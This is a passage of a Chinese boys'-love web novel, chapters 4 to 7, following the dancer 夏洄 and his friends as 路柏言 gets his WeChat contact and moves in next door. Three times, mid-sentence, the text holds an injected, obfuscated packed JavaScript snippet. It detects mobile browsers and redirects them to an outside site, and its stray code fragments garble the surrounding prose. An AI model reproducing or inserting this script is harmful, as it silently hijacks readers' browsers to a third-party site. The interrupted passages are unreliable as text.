血流出来了,伤口像是涂了辣椒水那样疼。她靠了声,老老实实要找扫地工具。 “沙发旁边的柜子第二层有医药箱。” 视线里出现了扫帚和簸箕。丽姐顺着往上看,眼前一亮。 夏洄现在是一只刚睡醒的慵懒小猫! 夏洄戴上毛线手套,有些溅到角落里的碎片扫不出来,需要捡出来。 丽姐站在医药箱前,撕开片创可贴用上,然后在背包里掏啊掏,翻出来一台胶片机。 收拾完了,夏洄把扫地工具放好。 “溯宝,我最近在玩胶片机,现在我们来拍一张!”丽姐晃了晃手中外壳多彩拼接的胶片机。 夏洄还没洗脸,现在像个毫无感情的拍照机器,站在取景框前,面无表情让丽姐拍了一张。 无所谓,他什么时候都上相。 丽姐很开心,“这段时间多拍点我们的照片,到时候洗出来看看效果。” 夏洄看了眼在沙发上睡觉的裴晓培,居然一点儿都没被他们吵到,还在呼呼大睡。 好羡慕这样的睡眠质量。他从来没有睡得这么香。 得渴肤症以后,睡眠质量更差。一点点动静就能把他惊醒。 - 不过裴晓培订了早上七点半的闹钟。他想早点起来给夏洄买早餐。 iphone的闹钟铃声像是催眠符,裴晓培应激了,每次一听到就能惊醒,赶紧坐起来。 朦胧的视线里,面前有道背着光下腰的纤瘦身影。 裴晓培踩着拖鞋站起来,打着哈欠说出今天的第一句话:“溯宝你起这么早练功啊,那我下楼给你买早餐。” 夏洄自己直起腰来,练了半个多小时,额角有细汗,他微微喘气。 “我买了,在厨房保温箱里。浴室里还有新的牙刷和漱口杯。” 裴晓培呜呜两声,感动不已,“以后谁要是再说你冷漠,我就追到他家骂。” 练完晨功后,夏洄和裴晓培一起吃了早饭。 大门外乒乒乓乓。 “啥动静?” 裴晓培走去开门,开了道门缝,自问自答,“哦,你那个社畜邻居在搬家。” 他关上门,继续回来啃玉米。 他们舞蹈生吃得最多的就是玉米。 他问:“上次贺铭非是不是在和你说要新搬来一个新邻居?男的女的?” 夏洄毫无兴趣,直接回:不清楚。 他吃了半根玉米,感觉人生索然无味。 所以问裴晓培:“中午要不要去我学校吃麻辣拌?” 之前为了准备比赛,很久没吃了。 裴晓培说好啊好啊。 热量和卡路里现在对于胖了十五斤的裴晓培来说完全就是放屁。 只要摆烂,我就是无敌的。 他们要出发去学校前,丽姐又回来了。 她气得不行,直言:“以后再回家我是狗。” 夏洄和裴晓培面面相觑。 “我爸妈逼我见个联姻对象……算了,现在还是不说了,免得也破坏掉你们心情。” 丽姐见他们一副要出门的模样,问他们现在要去哪儿。最后他们三个决定一起去食堂吃麻辣拌。 这里离京大驾车十分钟路程。他们打了辆出租车。 在路上的时候,丽姐提起她要抓紧时间找新的男朋友,不然得被家里人催着联姻。 裴晓培给出建议:“你不是对昨晚弹钢琴的那个校草感兴趣嘛,先找他下手呗。” 丽姐握着手机干笑,“说得好像我想下手就能立马到手一样。我连人微信都还没要到。又不是同校,还没有共同话题。” 夏洄坐在车门边的位置,看着窗外一闪而过的风景,安静如画。 他一个人这样坐着的不说话时,给人不敢上前接近的感觉。因为他给人最多的印象是在舞台上,那可望而不可即的距离,下台后又几乎无法这么近距离接触了。 当然,这只是给别人的感觉。在发小眼里,夏洄其实很好说话。 丽姐眼珠子一转,凑过去和夏洄磨耳朵,说了一个请求。 夏洄听完后说:“我觉得不太行。” 丽姐让他讲一下《海贼王》的故事,好有个共同话题。 问题是,谁搭讪用《海贼王》啊?友情、亲情、忠诚、热血……这些主题要怎么往暧昧上靠? 丽姐只好再想办法。她加了一个京大的闲聊灌水群,里面有很多好姐妹,专门聊帅哥美女八卦。 现在群里正在聊路柏言昨晚口中所谓的“目的”究竟是什么意思。 有很多猜测,眼花缭乱的。群里不少人对路柏言感兴趣,听说他还是单身,更来劲了。 这个“目的”就像是路柏言留下的谜底,谁能猜到,谁就有底气主动和他聊天一样。 丽姐捏着手机,问旁边的两个人。 “溯宝,晓培,你们觉着路柏言昨晚说的‘目的’到底是啥啊?” 贺铭非表演的目的是为了拿人气第一,赢了赌约。 其他表演者,有的想秀一下才艺,留下好印象,获得择偶优先权;有的为了加学分。 人气,路柏言明显不在乎。 优先择偶权?如果单独上台,没有女生作伴,这个目的还有考虑的可能性。 学分?那没必要说出达成目的这种话吧。 总之就是很奇怪。 裴晓培也在那个群里,半年前丽姐把他拉进去的。 他说,“我比较赞同他想扩大知名度,然后选妃的猜测。” “这个谜底诱惑大家猜。他现在话题度老高了,还在这时候被扒出和他同台的女生不是他女朋友,他还是单身。” “这一来二去,好多人都知道他了,到时候想追他的人都加他微信,他能一个个筛选最符合他口味的那个啊。” 刚进大学第一个目的是找人谈恋爱,大部分人都不会反对这点。 丽姐点点头,感觉有点道理。她看向夏洄,“溯宝,你觉得呢?” “可能就是单纯想把这首曲子表演好吧。” 他们关注的是路柏言的长相和他的恋爱情况,夏洄注意点始终落在他的表演上。 夏洄和家里人合奏这首曲子十几年了,全家人至少都精通一门乐器,他对这首曲子再了解不过,知道什么样才是合奏得好的。 路柏言明显和旁边的女生练习过很多次,最后呈现出完美的表演。大家都很喜欢,如果这是他的目的,那他的目的超标达成了。 丽姐和裴晓培面面相觑,欲言又止。 还得是夏洄。太纯粹了。 在迎新晚会上表演可以加学分,鼓励大家积极参与。有的人为的不只是学分,还奔着优先择偶权去。 不然为了一场台面不大的表演,每天在累死人的军训后特意挤出时间去练习,没个盼头的话,自己都感觉命苦。 - 出租车目的地定位在学校小东门。从小东门进来,就是篮球场。 “柏言!” 路柏言正带着球跑向篮筐,前面两个人过来防守,他两点钟方向的顾放挥舞着手臂,示意他把球传过去。 路柏言一个假动作同时糊弄了两个防守,转身把球抛给了顾放。 场外很多妹子,顾放飘了,他决定来个漂亮的扣篮。 但对手也不会让他如愿。 路柏言慢悠悠地小跑走位,顺便休息一下,等着顾放吃亏了把球传给他。 顾放果然被人盯上了。对方比他高壮很多,身宽体壮,原地跳起来就能拦截住他。 顾放小心翼翼护球,进也不是,退也不是,此刻目光都集中在他身上。 他们队现在丢的分不多,这个球要是被抢走了,不仅是丢分的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749409|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题了,还得在漂亮妹子面前丢人。 妹子们可能不懂球,但看得出来谁丢了分啊。 在他欲哭无泪时,路柏言吹了声口哨,顾放看过去,看到了他打的手势。 他们是五六年的好兄弟,别人看不出手势啥意思,他一眼能看懂。 他按照路柏言的暗示,找到了关键的突破口,顺利把球传回给了路柏言。 这突破口找得也妙,当球重新回到路柏言手上时,场外一片欢呼。 令顾放高兴的是,居然也有妹子喊他的名字。 他这好兄弟没白交。蹭了哥们儿的光,他现在也算是全校出名了。 球场相遇后临时起意的友谊赛结束了。 今天太阳有点大,路柏言后背沁满了汗,汗渍在红色篮球服上格外明显。 他解开同色发带,汗湿的额发一绺绺的,垂落在高挺的眉骨上,他瞳仁在阳光下漆黑无比,就这么站在原地扫视一圈场外时,露出的是不加掩饰的冷戾,这是他那双狭长眼眸带给人的原始情绪。 汗珠在他下颌积聚,他随意抬手用揉成一团的发带抹掉,不在乎形象,有点原始本能的动作落在别人眼中反而荷尔蒙爆棚。 因为有妹子在,顾放超绝不经意的撩起衣角,露出他练出来的六块腹肌,还有两块还在路上。 在有妹子的球场上有好身材就得秀,这是男生之间默认的共识了。当然,有家室的除外。 场外的好多人刚才都喊了路柏言的名字,尤其是妹子,里面还有几个漂亮妹子,队友打趣地和他说,“你不单身嘛,撩个衣服呗,效果贼好啊。” 路柏言笑笑,没有动作。 丽姐正从篮球场经过,眼尖地看到了路柏言,立马抓住了旁边的人。 “靠,我感觉他穿什么衣服都超有范,这红色那么土,他是怎么穿得像个男模的?!” 被她随意抓住的人是夏洄。丽姐日常泡健身房的,能轻松扛起60kg的杠铃,最小的力气其实都超大。 “庄丽!” 之前有个前夫哥出轨被抓到,丽姐就是这么掐他胳膊的,把他痛得嗷嗷叫。 丽姐注意力完全被球场吸引,也没意识到她用了多大力气。 突然被喊大名,她扭头对上了一双蓄满水汽的浅蓝色琉璃眼珠,颤颤的,下一秒似乎就要抖出泪珠来。 “哦莫!溯宝对不起对不起!我一激动就昏了头,没意识到自己用了很大力气。” 丽姐解释得嘴瓢,看溯宝这样可怜的模样,被她害的,她急得也要哭了。 夏洄吸鼻子,努力不让眼泪掉下来,遭受了无妄之灾。 “暂时不要和我说话。”他语气冰冷。 小插曲后,他们离开了球场。 夏洄捂着胳膊走进了拐角,路柏言刚好看过去。 顾放拍他肩膀,“咋了,跟动物世界突然发现什么东西的狍子一样。” 路柏言不确定刚才看到的是不是他。 “没事,可能看错了。” 顾放立马顺着刚才的方向看过去,他敢肯定,那里路过的人要么是夏洄,要么身影像夏洄。不然他兄弟看都不看一眼。 路柏言挎着斜包往场外走,有个女生出现在面前,长得很漂亮,顾放认出来是文学系的系花。 她朝路柏言递来一瓶水,把黑直长发撩至耳后,露出好看的浅笑,温柔的,问可以加一下微信吗。 路柏言停在原地,在女生充满期待且自信的目光中,他探进外套兜里,掏出来的却是一枚奶糖,当着女生的面拆开扔进嘴里,然后擦身向前走了。 女生那瓶水没离过手,她盯着离去的背影,直到她的闺蜜走过来。 “你刚才咋不继续说话了啊?他不是没说啥嘛,你要是继续说了,说不定他就给了啊。” 女生摇摇头,她从小漂亮,不缺人追求,感情经历也丰富。 她的直觉告诉她,路柏言要么有恋人了,要么有个喜欢的人,喜欢的人和那枚奶糖有关。 5. 拉布 第5章 顾放搭着路柏言的肩,说实话只能勉强搭,因为他身高183,路柏言比他高将近10cm。 顾放说:“我昨天晚上刷到一个身高差情侣亲亲图鉴,里面有个霸道壁咚吻,适合身高差25的,嘿嘿,我找个正常身高的女生就差不多。” 路柏言:“25?” “对啊,不过将来要是你和夏洄在一块儿,还不好做这个姿势吧,夏洄,我记得是177?” 路柏言纠正:“177.1。” “这不差不多。那你们做不了这个壁咚吻了。” 路柏言想到了什么,笑了,“做得了啊。” “是这样的姿势诶,”顾放点开手机找到那个帖子,“你看,把他压在墙上,低头下去,要这么高的落差才有那种逼仄空间里小心脏砰砰跳的感觉。” 路柏言:“我靠在墙上,把他抱起来高我这么多,他低头亲我就行了啊。” 顾放也是看过不少片的,这种姿势下矮一点的人必须双腿用力夹住另一个人的腰才能把自己固定住。 画面一下子口干舌燥起来。 顾放服输了,“他妈的还是你会玩。甚至还是个处。” 路柏言:“我刚成年呐大哥,很丢脸么?” 顾放嘻嘻笑:“那你牵过手没?” 路柏言白眼:“无聊。” - 论坛上很快有了文学系系花问路柏言要微信被无情漠视的帖子,有图有视频。 闲聊群里有人转发了这条帖子,说系花都失败了,大伙儿都散了吧。 丽姐纠结许久,一直设想怎么开口要到路柏言微信,想来想去,总感觉会冷场尴尬。 尤其是她真的想请路柏言帮一个忙。留下坏印象的话,不好往下谈了。 裴晓培:“丽姐别怂,你可以拿下的。” “可以个屁啊。”丽姐说,“我其实不想拿下,也拿不下,不过不能放过。” 夏洄问为什么不想谈恋爱,却不能放过。 丽姐看了眼他胳膊,他们来医务室买药了,刚才她给夏洄掐出淤青了,她内疚死了,哭了都,又不敢和他说话。 夏洄在等回答,丽姐深吸一口气说: “因为想他给我服装工作室做模特呀,他是天生的衣架子,肯定很出片,而且他不是网红明星,素人的价格会低一点。” 丽姐现在大三,服装设计专业,今年刚和几个同学一起创了个服装设计工作室,还在起步阶段,目前遇到了大大小小的困难,他们都坚持过来了。 有一次他们找了个全网三百万粉丝的网红博主,对方约价高得离谱,比市场价高两倍。 他们预算没那么多,礼貌地想和对方商量价格,对方不同意是个人自由,可这个人后来还在网上诋毁他们的工作室。 丽姐是工作室账号管理人,被对方粉丝网暴了半个月,气得饭都吃不下去。 裴晓培:“原来不是想和他谈恋爱啊。” “丽姐放心,我给你要微信,我脸皮厚。” 裴晓培说得信誓旦旦。 “好啊好啊,加油哦!” “现在有个问题,我是得到他寝室找他啊?” 论坛上路柏言的室友已经爆出了他们的寝室号。 不过室友说,路柏言马上要搬到校外去住了。 丽姐眼神使坏:“要不你现在去?” “视频里他吃的好像是旺仔牛奶糖,你买个礼盒装的送给他,说你也喜欢吃,这样就打开话题了。” 裴晓培无语了,再不要到微信丽姐快疯了吧。 夏洄做了最后的决定:“先吃饭,人又不会跑了。” 他饿了。 这是现在最重要的事情。 - 还没到饭点,食堂人不是很多,一眼看过去,有些空位置可以挑。 麻辣拌窗口的食材丰富新鲜,夏洄捧着碗,夹了魔芋结、藕片、海带丝、奶白菜、小油菜、西兰花和一包方便面。 裴晓培则完全夹了荤菜,看到旁边约等于蔬菜沙拉的碗时惊呆了,“不儿,溯宝,你来这不是吃放纵餐的吗?” 夏洄舔唇,有些纠结,“今天鸡腿没有去皮。” - 路柏言挑了张干净的餐桌坐下来,低头回复微信消息。 房东阿姨和他确定搬进来的时间。 路柏言是后天住进去,不过他的东西得在前一天搬进去。 他要上课,只能拜托朋友帮忙搬一下。 朋友是顾放的亲哥,开酒吧的,店里的男员工很多。 顾放端了两碗海鲜牛蛙面过来,一碗放在路柏言眼皮底下。 见路柏言在低头回消息,也没抬头看,他说,“我刚才碰到夏洄了。” 面前的人立马抬头,四周看看。 夏洄是路柏言捕捉器。 顾放想到了这句话,哈哈大笑,“吃你的饭吧,我真服了你。” 路柏言脸色偏冷,不理他了,掰开筷子。 吃了一会儿。顾放突然又说,“我真看到夏洄了。” 路柏言懒得看他:“你无聊到无耻的程度了。” “真的!你往你十一点方向看。” 十一点方向。一男一女正在急头白脸说些什么,快要吵起来。 夏洄就夹在他们中间,垂着眸细嚼慢咽。 路柏言视力很好,看出来那是麻辣拌。 顾放看得没这么清楚:“夏洄吃的是什么?看他吃得很香的样子,我们下次也吃吧。” 另一边,夏洄他们早就注意到了路柏言。 很神奇,舞台上的路柏言看着已经很高了。在台下,即使坐着,也像座小山似的,一下子能吸引人目光。 丽姐要被气得吃不下饭了。 裴晓培这个怂货,说好的他敢去要路柏言的微信呢,现在看到真人就怂了。 “你现在去啊,总比去人家寝室要好吧!” 裴晓培眼神飘忽:“多不好意思啊,打扰人吃饭。” 丽姐堵着气,用筷子狠狠戳破一片肥牛卷。 “吃饱了。” 夏洄放下筷子,吃得只剩下碗底的浓汤。 好饱。好满足。 而丽姐和裴晓培各自碗里还有一大半没吃,光顾着说话了。 夏洄从口袋里掏出纸巾,擦了擦嘴,问丽姐要她的手机。 丽姐不明所以,还是解锁给了。 然后她和裴晓培看见夏洄起身,直接走向了路柏言的方向。 目瞪口呆。 顾放也是。他简直要跳起来。眼神疯狂在夏洄和路柏言那条线上来回窜动。 他比当事人还要坐不住。 不怪他如此惊讶,实在是因为,在昨天的晚会之前,这么多年了,夏洄从不认识路柏言,从没说过一句话到现在,突然走过来。 就这么水灵灵走过来。 夏洄停在了路柏言面前,脸上没多少表情,“路柏言,可以加一下你微信么?” 顾放手中的筷子掉了,磕在铁制餐盘上,发出在此刻氛围下很要命的一声响。 他看向路柏言—— 很好,没从路柏言脸色上看出慌张、无措等任何掉价的表情。 不愧是得了市演讲比赛第一名的高材生,气场这么稳。 高中他还开玩笑,说路柏言要到了夏洄微信,他就请全校喝奶茶。他没那多钱,所以这也是不可能的事。 起码,在当时看来不可能。 路柏言腿长,在餐桌下挨着了顾放的腿。 顾放很清楚感受到那双原本交叠翘起的长腿现在放下来了。 他懂这种紧张感。 他在家看到他爸回来,也控制不住地把双腿放下来,正襟危坐。 没第一时间得到回应,夏洄想起了视频里路柏言拒绝女生的漠视。 他拧眉,“你是打算用冷场默认拒绝我?我不喜欢这样,不加可以直说。” 路柏言从幻梦中惊醒,然后发现不是梦,是现实,是鲜活的夏洄。 他反应很快,掏出手机,差点在手里打滑掉下去,他稳住,点开微信加好友。 他嗓子微哑,“我加你。” 夏洄调出二维码,放在路柏言手机摄像头下方,成功滴了一声。 “打扰了。” 夏洄走了。顾放松了口气。 都说夏洄是个冷美人,果然呐,人不是很高,清瘦样的,五官漂亮得雌雄莫辩,可气场和路柏言一样,很强。 虽然赌输了,但好哥们这下得高兴了吧。 顾放眼神乐呵乐呵看向路柏言,却没从那张俊脸上看出半分高兴。 他莫名紧张地问了句怎么了。 路柏言没什么表情继续吃,“不是他的微信号。” 是他发小的。 还是个女生的,聊也不是,不聊也不是。顾放露出担忧:“那你现在咋办?” 路柏言吃饱了,把筷子一扔,扯唇笑了。 “见招拆招呗,也算是个突破零的进展。” - 夏洄要到微信后回来了,他在丽姐眼中的形象像个凯旋的战士。 不是拿刀的,是拿鞭子的。 夏洄注意到他们位置变了,“你们怎么坐这么近? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749410|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴晓培呜呜感慨,“看你那么果断勇敢,我们想听你会怎么开场。” 丽姐也呜呜,“那句话帅到我了。溯宝女王,我会一辈子追随你的。” 夏洄把手机还给丽姐,再看向路柏言那边时,他们已经走了。 不知道路柏言一开始不说话是要干嘛。 路柏言对面的那个男生,看到他过去,好像很激动,像是早就认识他。 夏洄仔细回忆高中,还是没有这两个男生的印象。 他高中实在是没怎么参加集体活动,除了每年的学校汇演。他要么是开场节目,要么是压轴。老师开过玩笑说全校人都知道他。 路柏言和他朋友应该都是七中出来的,认识他也正常。 丽姐和裴晓培去了水果店,夏洄靠在阳台上晒了会儿太阳。 吃饱喝足,暖洋洋的。 过一会儿,他们回来了。丽姐拎着一袋香水柠檬,递给夏洄。 “这里的柠檬还不错。” 夏洄很喜欢柠檬。他有个绝活,可以表情很自然地吃柠檬。 他们无意间发现的,夏洄削了皮直接吮整颗柠檬,当水一样喝,当时所有人都惊呆了。 夏洄有午休的习惯,从学校出来后,又打车回家了。 他坐在丽姐边上,丽姐做了美甲的手指在键盘上敲字,聊天界面的备注是[渣男脸人形衣架]。 这个备注……他怀疑丽姐一开始就没奔着想和路柏言谈恋爱去。 光是个开场白,丽姐打了一行字,又删掉,删删改改,最后终于发出去了: -Lilith:哈喽帅哥,我是夏洄的发小,庄丽,你之前是不是也是七中的啊?那你一定知道夏洄吧? 丽姐发出去又后悔了。好尴尬的开场白啊。 脑袋埋在夏洄肩上,呜呜喊着“溯宝,我好没用”。 太紧张了,因为太想要路柏言给他们当模特了。 夏洄摸摸她脑袋。 叮咚。回了消息。 -拉布:是,就比夏洄学长小一届。 丽姐设置的聊天可显示彼此的昵称。 夏洄看到路柏言的昵称,视线停顿了。 拉布是《海贼王》里一只鲸鱼的名字。 夏洄很喜欢拉布。 看来路柏言也很喜欢,难怪会弹奏拉布最喜欢听的曲子。 丽姐不知道什么拉布,第一时间注意力落在了“夏洄学长”这个称呼上。 “真没想到有一天溯宝会被人喊学长,从来没人这么喊过吧。” 夏洄不高兴:“怎么感觉你对这个称呼有意见,我没有当学长的气场么?” -Lilith:哈哈夏洄学长,我第一次听人这么喊,你啥时候出生的啊,说不定你的夏洄学长比你还小。 提起溯宝,丽姐就没那么紧张了,话题打开了。 -拉布:夏洄学长生日什么时候? 夏洄身份证上的生日和他实际生日不一样。只有家里人和给他过生日的发小才知道他的实际生日。 丽姐回了个出生年月日。 今年的生日还没过,快到了。 -拉布:我比夏洄学长还大几个月。 夏洄突然把脸转向窗外,说,“让他别喊学长了。” 丽姐哈哈笑了,夏洄不仅比同届同学小,外貌看着也小,被人喊学长怪可爱的。 -Lilith:哈哈,那你下次别当着夏洄的面喊他学长,他会不高兴的。 屏幕另一边,路柏言看着这句话,轻轻笑了。 在看他们聊天? 什么时候赏脸亲自聊? -拉布:还有事,先这么说了。 丽姐看着这句话,啊啊啊啊叫起来,她还没开启正式话题啊! 聊的东西都是围绕夏洄。高冷男模居然也没说下次聊。 “溯宝,我好‘桑’心,下次怎么开口直说要他帮忙啊?” 夏洄把脑袋转到另一边:“不要用这种眼神看我了。” 想让他帮忙的眼神。 丽姐疯狂眨眼睛,把眼珠子弄得湿润,看起来很可怜。 “他气场太强了,只有溯宝你压得住,你下次当面和他说说这件事呗。” 夏洄很不相信他的气场比路柏言的还强,还能压住的这种鬼话。 “他和你文字聊天的时候还蛮友好的,所以,你就自己和他说吧,我已经帮你搞到他微信了,加油,社会我丽姐。” 丽姐:“……” 难受。 下次干脆还用七中人都知晓的夏洄为话题作开场白试试,也不知道能不能行得通。 6. 邻居 第6章 裴晓培最后一天点滴是夏洄陪着去打的。他们回到小区,在单元楼下等电梯。 “中午吃什么啊,我点外卖。”裴晓培点开手机。 炸鸡。 夏洄心里一下子跳出这两个字。在放纵的路上一去不复返了。 他昨晚又失眠了,半夜下床去上厕所,裴晓培还在客厅里戴耳机用电脑玩星露谷物语。 夏洄上手过半小时,一个种菜养猪挖矿的游戏,看起来很适合休闲养老。 裴晓培在钓鱼,肩上突然多了道重量。夏洄趴在他后背上,看他玩。 “溯宝,怎么了嘛。” 夏洄身上有股淡淡的柠檬香,在夜色流淌中格外清新好闻。裴晓培语气也因此温柔了许多。 “抱我一下。” 他听见夏洄这么说,嘻嘻笑了,“不会半夜刷到什么诡异片段被吓到睡不着吧?” 夏洄不敢看鬼片,他还怕黑。 夏洄点点头。裴晓培忙扔下手柄,好不容易刷出来的鱼王跑了也不管,给他来个大大的拥抱。 后面夏洄就安稳睡着了。 不过这也不是办法。不能每次都说被鬼片吓到了,会很奇怪。 夏洄最后没点炸鸡。不能再放纵了。 老师马上要出差回来了,到时候称体重,他要是胖了很多,会挨批的。 电梯来了。夏洄和裴晓培走进去,摁了数字7。 “等一下!” 有急促的高跟鞋声音靠近。 一个波浪红发的女人抱着一个纸箱,挤进了电梯里。 她的香水味不难闻,就是很浓郁,夏洄忍不住捂住嘴打了个喷嚏。 “香水过敏?不好意思不好意思。” 抱着纸箱的女人一脸歉意,除了那双盯着夏洄不放的发亮眼珠。 像是粉丝终于在线下见到明星那样。 夏洄被看得有些莫名其妙,他拧眉往裴晓培身后避开。 裴晓培察觉出来了,女人张张嘴还说想什么,他截胡道,“是有点,我们稍微站开点吧。” 被这么一堵,女人想说的话也出不来了。 好在电梯门很快开了,夏洄拐过裴晓培先出来,他家就在电梯门右侧。 他在输入密码,身后裴晓培走几步上来,压低声音和他说,“刚才那个奇怪的女生是对面门的。” “不会是你新邻居吧?刚才在电梯里给我一种,嘶,毛骨悚然的感觉。干嘛一直那样盯着你?” 夏洄觉得有些不舒服:“我应该是不认识她的。” 准确来说是真没见过。 他有走在路上被陌生人上前打招呼的经历。几个月前在京州剧院跳了支古典舞,官方发的切片在短视频平台小火了一把。 他堂姐是演员,在娱乐圈小有名气,转发了他跳舞的视频,配文字:介绍一下,这是我那万千宠爱的弟弟[呲牙] 原来要消沉的热度一下子又上来了,冲上了热搜。堂姐的微博评论区连着很多天都是要他微博的。 他给堂姐发布的动态点过赞,每条都点,当时藏在几万十几万的点赞中,没人在意。认亲之后被扒出微博账号了。他连夜注销了。 他不想又惹上脏东西。他好像天生有吸引脏东西的体质。 初中疑似被人尾随,只是感觉,没有证据; 高中收到一封情书,没有文字,乍一看以为信纸上是噘嘴印上去的口红印。 等看到下面一根香肠状的椭圆形口红印时,夏洄同样是男生,一下子就反应过来那些噘嘴印是什么东西。 没有署名,不知道是谁。 反正对方做好不要脸的准备了,他也成全。 他把这封情书贴在了公告栏里,旁边有张对比图,配了文字:还没我手指长。 这是真的。 全校当乐子笑了好多天。那段时间是考试周,全校都感谢夏洄同学大大缓解了他们的备考压力。 大学也有,就不说了。 丽姐出门逛街了。自己一个人。她在返程的出租车上时,裴晓培打电话让她在楼下外卖柜取一下他们的午饭。 她一进来就急着说: “我刚才上来在电梯里遇到一个搬着纸箱的女生,我按了7,问她多少楼,她好像很激动,想问我什么又没有问,也没有按楼,奇奇怪怪的,然后刚才我看到她走进了对面,而且我回头看她,她也被我抓到回头看我。” “这姐妹如果想问我口红色号,也用不着这么社恐吧,举止都反常了。” 夏洄:“波浪红发的女生?” “不是,黑色长发的。” 同样进了对面,那她们就是朋友了。 夏洄感觉她们应该是认识他的。 哪怕是单方面认识,大方打招呼他也不会觉得冒犯啊,他有很让人害怕么?现在这样……更奇怪了。 - 路柏言要搬家的行李不多,他提前联系顾源帮忙。顾源说,他和酒吧里的两个女生帮他把家收拾得差不多了。 “两个女生?”路柏言问,“酒吧里男生不是挺多的?” 顾源:“她们是伊婉的粉丝,自告奋勇,打了兴奋剂一样。我问她们怎么知道夏洄也住在这里,原来是顾放那小子为了泡妞说的,说你俩都是七中出来的,是夏洄的学弟。” 路柏言有种不好的预感:“……你们碰到夏洄了?发生了什么?” 顾源:“哦我没碰到,她俩碰到了,说是可能被怀疑成变态了。” 路柏言眼皮跳灾:“……” 顾放远远地看着好哥们出现在校门口。 路柏言此刻站在路边等车,一手捏着手机,另一只手把住行李箱,身量颀长挺拔,眉骨高挺深邃,眼神心不在焉投在车流中。 他今天做了个新发型,身上颇有魅力的蓝衬衫也是昨天刚买的,可以说每一根头发丝,每一处褶皱都精心打扮过。 还戴着一副半框眼镜,撩起薄薄的眼皮看过来时就是个禁欲沉稳的学神形象。 心机の男同。 顾放这么想着,把车停在了好哥们面前,吹了声轻佻的口哨:“这还不把夏洄迷死。” 他就是想开玩笑拍个马屁,路柏言上车后,却冷眼盯着他。 “我觉得你要毁了这一天。” 怎么可能。为了这一天,好哥们都做多少准备了。 路柏言靠在车背上,眼神倦意,一想到今天,昨晚没怎么睡着。 到了小区楼下,坐电梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749411|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到7楼,电梯门一开,路柏言走出来看见702住户的门口有盏鲸鱼造型的小壁灯。 这就是夏洄家。 而他要住进去的地方是701,这层楼另一间住户。 702门外有个鞋柜。架子上有双鞋,路柏言知道那是夏洄的。 夏洄在迎新那天晚上穿的就是这双。 路柏言不着痕迹,雁过无痕般移开目光,打开了701的门。 “炸!没了!” “顾老板不好意思啦又是我们赢。” 顾源笑笑,掏出手机给她们转了红包。 顾放站在身后看到了满屏的红包记录,“哥你手气也太差了。让我来陪两位美女打牌。” “你先别打了,不是说会给我们要到签名吗?签名呢?” “对啊,我们刚才可是看到夏洄了。” 顾放摸不着头脑:“我什么时候说了。” 一个女生掏出手机播放了录音,里面是顾放喝醉后放的大话,说他是夏洄的高中学弟,还加了微信,要签名是分分钟的事。 顾放心想完了。他喝醉后怎么啥都说。他朝好哥们投去求助目光,好哥们并不理会他,给他一个淡淡的眼神让他自己体会。 他缩了缩脖子,“呃,其实加微信的也不是我。是路柏言啊,你们敢让他帮忙吗?” 两个女生连路柏言的脸色都不敢看,直接摇摇头。 在酒吧见过几次面了,话却没说过。一开始看他长得很帅,想搭讪,结果顾放说他是gay。 顾源拍拍弟弟的肩膀:“多亏你了,夏洄现在把我们都误会成变态了,如果看到你们也在这里,很难不怀疑你们也是,因为变态的朋友也是变态。” “这……也怪我?” “当然!谁让你说大话和夏洄认识的!你不会压根不是他学弟吧!” 这一点顾放就要站起来反驳了:“我是啊,路柏言也是啊,如假包换。额,就是,嘶,基本没说过话的那种。” “两年诶,真的一次都没有嘛?” “不信算了,夏洄高中基本不参加集体活动的,据说他毕业时连班上一大半同学的名字都没记住。” 也不算是据说,有点证据。夏洄拍班级毕业照那天,在学校操场,很多高一高二的在边上看。 是个阳光很好的晴天。 当时路柏言和顾放站在操场入口的拦网那看。 夏洄来晚了,可能是刚换上班服,他边跑边把衣领翻出来折起来。 从他们面前跑过时,一截后脖颈在阳光下白得晃眼。 等他们反应过来,夏洄已经站在班级前,脸颊被盛夏日光闷出红晕,扯着并不舒服的衣领喘气。 他站在班级正中央拍了集体照。后面分散拍合照,很多人才知道,夏洄分不清谁是谁。 不过没关系了,就算再清楚地记得所有同学,那个夏天后也会慢慢忘记。 这些事路柏言都清楚记得。没有一个字的交谈。他旁观了夏洄的整个青春。 而现在,他敲开了夏洄的门,打破那道存在七年的壁垒,在过道窗投射的阳光中,对站在他面前的夏洄说,“嗨我是你的新邻居,路柏言。” 这次,不用介绍,他的名字也被记住了。 7. 你的名字 第7章 庄丽勾着头打字,夏洄坐她旁边,余光里丽姐打了一大段文字又哐哐全删除。 夏洄:“又在给你选中的男模琢磨开场白?” 是路柏言。丽姐总说路柏言给人的感觉是对任何人与事提不起兴趣的。说不定哪天就被删了。 